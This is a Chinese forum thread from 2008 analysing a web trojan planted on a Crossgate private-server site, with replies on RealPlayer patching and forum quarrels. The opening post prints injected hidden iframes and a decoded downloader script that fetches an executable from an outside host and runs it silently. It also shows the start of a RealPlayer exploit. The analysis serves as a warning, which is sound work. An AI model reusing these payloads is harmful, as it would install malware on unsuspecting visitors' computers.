16 12
发新话题
打印

[讨论] cg23分析

cg23分析

Host: www.cg23.cn
, g8 y* ?0 _$ {( B8 q, t妖城在线论坛Content-Location: http://www.cg23.cn/Index.htm
# ?8 G' [" h# w4 Z0 G妖城在线论坛--src魔力私服,最新魔力私服,魔力宝贝私服,魔力宝贝私服技术,魔力宝贝私服,私服架设技术,妖城,FLASH,电影,黑客,网络,网吧,破解,入侵,注册表4 K8 Q6 z+ x' q$ r

' m  x5 u- `" v( B  e<script language="JavaScript" type="text/JavaScript" src="http://news.baidu.com/ns?word=title%3A%C4%A7%C1%A6%B1%A6%B1%B4&tn=newsfcu&from=news&cl=2&rn=25&ct=0"></script>—魔力私服,魔力宝贝私服技术,DELPHI编程,魔力寶貝, 魔力宝贝, 크로스게이트,クロスゲート; _5 ^9 ~: l. S4 o# F0 R
--百度新闻-魔力宝贝
% p' r6 [; y. i! {—魔力私服,魔力宝贝私服技术,DELPHI编程,魔力寶貝, 魔力宝贝, 크로스게이트,クロスゲート" Y' I. N) F( n  |/ f
http://wpa.qq.com/pa?p=1:******************妖城在线论坛; h. ?" g4 l: q: v) z2 x. {9 n
10数个魔力技术顾问的QQ链接' T1 I& B0 n2 }) K* K4 M2 S" K- }
bbs.mocwww.com. s' ]8 }: n# \  e
<script src="javascript/jf.js" type="text/javascript"></script>—魔力私服,魔力宝贝私服技术,DELPHI编程,魔力寶貝, 魔力宝贝, 크로스게이트,クロスゲート( `) c: L& \  x
//模仿语言包式的简繁转换功能插件!* W7 u6 k  e) ?$ x! }) z

4 ]( [5 W! S% d1 n: ]妖城在线论坛<script language="javascript" type="text/javascript" src="http://js.users.51.la/1326170.js"></script>妖城在线论坛- I( f5 b' m) @, ?* j1 G5 G9 q
51.la流量统计妖城在线论坛3 V3 G7 n5 B" q5 {

! [7 U( _7 N' F! [! _( Z+ m9 J<script src='http://s71.cnzz.com/stat.php?id=722391&web_id=722391&online=2' language='JavaScript' charset='gb2312'></script>bbs.mocwww.com* E1 G# w( ~# ~0 L& l: F3 O7 w/ n
cnzz流量统计
% r7 x) y- r; N% M; H- M, Y* cbbs.mocwww.com妖城在线论坛* E8 S4 u) r: R( |6 R# ~1 `
<script language="javascript" src="http://count36.51yes.com/click.aspx?id=361527223&logo=12"></script>
2 f4 f  C. y3 ~3 J3 q魔力私服,最新魔力宝贝私服技术交流51YES网站统计
# q  Y0 C4 ]; d2 d妖城在线论坛—魔力私服,魔力宝贝私服技术,DELPHI编程,魔力寶貝, 魔力宝贝, 크로스게이트,クロスゲート$ A) `! g0 h9 l1 M
<iframe src=http://1.100190.com/1.htm?6 width=50 height=0></iframe></a>
; a2 f0 n, l; A: ~# _4 Mbbs.mocwww.com下面是1.htm的内容
  @  F( k9 S7 ?5 r* [3 L: [1 cbbs.mocwww.com[<iframe src=http://1.100190.com/d/d.htm width=100 height=100></iframe>—魔力私服,魔力宝贝私服技术,DELPHI编程,魔力寶貝, 魔力宝贝, 크로스게이트,クロスゲート1 R* i+ _' r. i4 y, x
<iframe src=http://1.100190.com/d/06014.htm width=100 height=100></iframe>魔力私服,最新魔力宝贝私服技术交流6 @4 s- W( [+ z, I: n: u1 B9 t
<iframe src=http://1.100190.com/d/real.htm width=100 height=100></iframe>
妖城在线论坛$ }7 Q2 _- f+ s4 l) @) P; O- x' t
这里是重点了
. y6 x* ]$ l6 ^$ \9 a" s- w3 v; Hbbs.mocwww.com<script language="javascript" type="text/javascript" src="http://js.users.51.la/1586580.js"></script>bbs.mocwww.com' A3 W' g4 R& B+ H6 g
51.la流量统计魔力私服,最新魔力宝贝私服技术交流1 I9 Z6 h8 p  J) n
]
% U) r5 X9 f5 |+ R3 r妖城在线论坛闲来无事,给大家分析一下吧妖城在线论坛9 g; `# a: ~# U4 y/ s) O3 K
06014.htm        看名字好像是蛮老的那个溢出洞洞) J0 E) G  N1 ~0 R) o& v
解码后
% a: H' M" M. q+ N+ W+ k+ Dbbs.mocwww.com<script>var fuck,cike;fuck="http://1.111281.com/down.exe";cike="cike.com";try{var ado=(document.createElement("object"));var d=1;ado.setAttribute("classid","clsid:BD96C556-65A3-11D0-983A-00C04FC29E36");var e=1;var xml=ado.CreateObject("Microsoft.XMLHTTP","");var f=1;var ln="Ado";var lzn="db.St";var an="ream";var g=1;var as=ado.createobject(ln+lzn+an,"");var h=1;xml.Open("GET",fuck,0);xml.Send();as.type=1;var n=1;as.open();as.write(xml.responseBody);as.savetofile(cike,2);as.close();var shell=ado.createobject("Shell.Application","");shell.Shellexecute(cike,"","","open",0);}catch(e){};</script>
/ w, k! v# x- y' M妖城在线论坛貌似是个下载者饿,打包了,大家没事研究研究 我就跳过了……—魔力私服,魔力宝贝私服技术,DELPHI编程,魔力寶貝, 魔力宝贝, 크로스게이트,クロスゲート6 n% M0 ]  T# |* p- L/ S2 {6 K: H

& X! Y5 G( \# O$ H- _bbs.mocwww.comd.htm        解码之
) B. s8 L" l5 i% a- w0 z: f( N—魔力私服,魔力宝贝私服技术,DELPHI编程,魔力寶貝, 魔力宝贝, 크로스게이트,クロスゲート<iframe style=display:none src="http://1.100190.com/d/bf.htm"></iframe>
# j" y, X* j. }' z魔力私服,最新魔力宝贝私服技术交流呜呜,我们继续—魔力私服,魔力宝贝私服技术,DELPHI编程,魔力寶貝, 魔力宝贝, 크로스게이트,クロスゲート$ d- m1 T, G$ x7 e, y
空文件,可能是后备用的吧1 U$ s# ^  @; V8 [
bbs.mocwww.com7 j% Z0 j9 W5 z* b
real.htm        看名字可能根播放器的oday有关
, D( R1 |  o+ P' Z' y' C妖城在线论坛解码之——
. y9 R2 Z* A' l# ]3 A魔力私服,最新魔力私服,魔力宝贝私服,魔力宝贝私服技术,魔力宝贝私服,私服架设技术,妖城,FLASH,电影,黑客,网络,网吧,破解,入侵,注册表function RealExploit(){afdsffffasdf="flsdajflasdjfl32rewr231ffas";var ……
5 L4 z: G- W  O; H妖城在线论坛恩,查资料得知为机器狗病毒,不过不玩这个 不大懂
( `0 v7 B4 Q2 E8 U好了,确定是网马,至于效果如何,反正我没中招……

* s) A* Q1 T) M; U  k' T( ?魔力私服,最新魔力宝贝私服技术交流
6 o2 F! V; p; @; U4 i4 F—魔力私服,魔力宝贝私服技术,DELPHI编程,魔力寶貝, 魔力宝贝, 크로스게이트,クロスゲート就酱子吧,很多防护不好的网站都会被人挂马,希望cde尽快处理,我对其人没有任何恶意的,大家不要有事没事就对他妄加否定,
3 @& i$ |3 c. h/ ?( abbs.mocwww.com想想 人家辛辛苦苦为了什么那?开那么多群,没说过收费什么的吧? 有知道的东西就共享出来 也没见藏着掖着吧? bbs.mocwww.com( k& E+ T, p& U. B
紫薇剑是谁我不晓得,魔力私服,最新魔力宝贝私服技术交流, D0 ]3 g8 Y# ]9 M+ x5 J
但是cg23的ange我还是打过交道的……

0 P9 F1 s. l# v—魔力私服,魔力宝贝私服技术,DELPHI编程,魔力寶貝, 魔力宝贝, 크로스게이트,クロスゲート
- w% x7 @1 ]" h4 F8 J—魔力私服,魔力宝贝私服技术,DELPHI编程,魔力寶貝, 魔力宝贝, 크로스게이트,クロスゲート<param name="URL" value="http://www.jdzblog.com/uploadfiles/2007-3/327162852.mp3">—魔力私服,魔力宝贝私服技术,DELPHI编程,魔力寶貝, 魔力宝贝, 크로스게이트,クロスゲート/ V- r: Y- r% H/ K
最后给大家附个音乐 深吸一口气,放松一下,没什么大不了的……

3 x' k5 C* N+ R6 W妖城在线论坛bbs.mocwww.com8 e& C% h6 p( ?. L
[ 本帖最后由 myzz01 于 2008-2-4 21:53 编辑 ]

TOP

那个是内嵌的JS调用溢出马.很老的一种了..
5 c1 v, ]+ ~: b0 g" {# a( MLS的兄弟我劝你..* ]: o& D6 \, c5 j" M, K) `8 s+ G4 r
搞CG,不知道紫薇剑,就和中国人不知道毛泽东一样.bbs.mocwww.com, ?" u1 O; P3 W6 U. t( e9 B; f
你没资格说内些话..
你的名气很大,并不代表着你很强大。

TOP

魔力私服,最新魔力宝贝私服技术交流& c& v! m0 }3 ]/ B. o
开那么多群.从来没说过话.魔力私服,最新魔力宝贝私服技术交流* N" K% H- J/ [0 d) }! C' @
和某XXOO反挂不一样?魔力私服,最新魔力宝贝私服技术交流  x. c' {: B/ h% x4 K
技术群一大堆.问问题没见回.
' M, u; M3 S/ R6 N7 F% Z- Sbbs.mocwww.com一买他东西积极的很.* p; n/ F; W2 V% J& M+ y. y
—魔力私服,魔力宝贝私服技术,DELPHI编程,魔力寶貝, 魔力宝贝, 크로스게이트,クロスゲート, N. ?# w4 _/ n( `5 x0 e
魔力私服,最新魔力宝贝私服技术交流3 _4 U( b! J7 `$ ^5 h# {! V
他现在扔出来的东西都是别人淘汰的.
% L$ ^, d. ]' `0 T1 ~—魔力私服,魔力宝贝私服技术,DELPHI编程,魔力寶貝, 魔力宝贝, 크로스게이트,クロスゲート也不知道谁抱着一套所谓的反挂,还当宝咧..
你的名气很大,并不代表着你很强大。

TOP

这样啊··

TOP

那个  资格不晓得要怎么赚取 …… :-)  是不是当中国人只要知道毛泽东就具备中国人的血统了?估计某些知道老毛的小日本要雀跃了……
3 _1 y! ], J1 z: e5 e血统是与生俱来的,根毛泽东关系不大,我的资格 仿佛也根我知道不知道紫薇剑关系不大吧?bbs.mocwww.com" |: V4 V* n" a; W% l( b6 [
我喜欢根海星兄 妖哥 小男这样说话爽快的人交流,至于不从技术方面讨论问题 而专门搞人事鉴定的……  不是很感冒……
1 x# e) k" c, y: ~妖城在线论坛(*^__^*)   随便说说拉 ange真的打了很久叫道的 从我开始研究魔力(快1个月了) 没事都会在QQ上交流下的 ——感觉人有点迷糊 但是没有什么坏心眼吧?
7 i7 R, W/ l9 D 至于FGMAX :) 我可是加你QQ拜师的哦 可惜你不回复…… 唉  要不现在收下我吧?

TOP

我,大家都知道,对话不对人。bbs.mocwww.com1 H* ], |' P( ]! N" {) B
要是惹着你了就当别在意。bbs.mocwww.com. A. N# S; g! T! P
( f+ [5 e( V9 _- v( J$ J0 ?9 @: c
加我人太多,每天问问题人也太多。
2 e  o2 i7 E$ O' A) {! z# h/ Z—魔力私服,魔力宝贝私服技术,DELPHI编程,魔力寶貝, 魔力宝贝, 크로스게이트,クロスゲート不能一一照料。魔力私服,最新魔力私服,魔力宝贝私服,魔力宝贝私服技术,魔力宝贝私服,私服架设技术,妖城,FLASH,电影,黑客,网络,网吧,破解,入侵,注册表7 H5 [; Y! C- r. E" E
bbs.mocwww.com. G3 F& a! D" p- m
我就收了一个徒弟,晨曦。妖城在线论坛9 v8 l' @: h2 p3 p. {/ P" R! t, [

, z' f  `+ v& v% ]% pbbs.mocwww.com以后有需要就说,知道肯定告你。
你的名气很大,并不代表着你很强大。

TOP

引用:
原帖由 FGMAX 于 2008-2-4 22:08 发表
9 c$ {9 t( _* |1 k/ l/ I我,大家都知道,对话不对人。
2 Q, I4 i, O! I3 z8 c8 O* o* f* G魔力私服,最新魔力私服,魔力宝贝私服,魔力宝贝私服技术,魔力宝贝私服,私服架设技术,妖城,FLASH,电影,黑客,网络,网吧,破解,入侵,注册表要是惹着你了就当别在意。妖城在线论坛  f4 S; q' l% W; \
魔力私服,最新魔力宝贝私服技术交流& w4 Q8 A0 D: L  I3 `
加我人太多,每天问问题人也太多。魔力私服,最新魔力宝贝私服技术交流8 p* @6 z( T. B( ?9 n9 E
不能一一照料。+ S# ^& u# G/ u% Q2 m
—魔力私服,魔力宝贝私服技术,DELPHI编程,魔力寶貝, 魔力宝贝, 크로스게이트,クロスゲート6 }( d% H* b. D7 S' J# m. u
我就收了一个徒弟,晨曦。
  a; J4 L+ R( pbbs.mocwww.combbs.mocwww.com" u/ z8 b: z- f( P  B
以后有需要就说,知道肯定告你。
2 v* d" ^( }5 m( n- U3 X4 U6 }& P魔力私服,最新魔力私服,魔力宝贝私服,魔力宝贝私服技术,魔力宝贝私服,私服架设技术,妖城,FLASH,电影,黑客,网络,网吧,破解,入侵,注册表* {5 f% Y8 O& v# H9 l
魔力私服,最新魔力宝贝私服技术交流2 _, J+ D" S+ M7 B, D5 N" s! l
:)  交个朋友 一起交流饿 …… 我去想办法看懂魔力封包处理部分的代码去…… 想学的东西太多 时间太少 一动就该睡觉了……郁闷 HOHO  晚上见……

TOP

回家前 上来看看* x# Q" T( t3 a% d: {3 s9 A

TOP

RealPlayer 的溢出漏洞,打完RealPlayer溢出补丁的不会中.

TOP

RealPlayer 不装呢- -

TOP

CG23就是白吃,乱吧人的QQ放在他网页上当什么顾问  我日

TOP

引用:
原帖由 ?k|尛水 于 2008-2-4 22:53 发表
: b7 b- }2 F+ _" @魔力私服,最新魔力宝贝私服技术交流RealPlayer 不装呢- -
bbs.mocwww.com/ A7 c! A9 y) Y# t  B) p: _% G  H( Z
不装当然就中不了real的0day了,不过其他溢出漏洞不胜枚举,而且就算不中马,被挂马的站访问起来也会很慢…… 经常访问很容易体会出区别…… 中木马也一样 你要经常使用电脑就会有手感的 当机器中木马病毒什么的 你就会感觉不顺手了……

TOP

呵呵...real我就没装过~~呵呵..

2007年10月6日至今已过去十三个春夏秋冬,感谢妖友的一路陪伴!
2020年6月12日 By.xuyaoxy

TOP

我问问无双,是被人挂了还是自己搞的……。它那站流量也没多少,应该不至于坏自己的名声做这种事。
+ }0 h) l  S9 W) K) U- K妖城在线论坛妖城在线论坛6 A8 E+ e- A2 {' S
现在有马是事实了
妖城欢迎您!

TOP

没说过收费?那他的高级群谁出的QB,你也不想想

TOP

 16 12
发新话题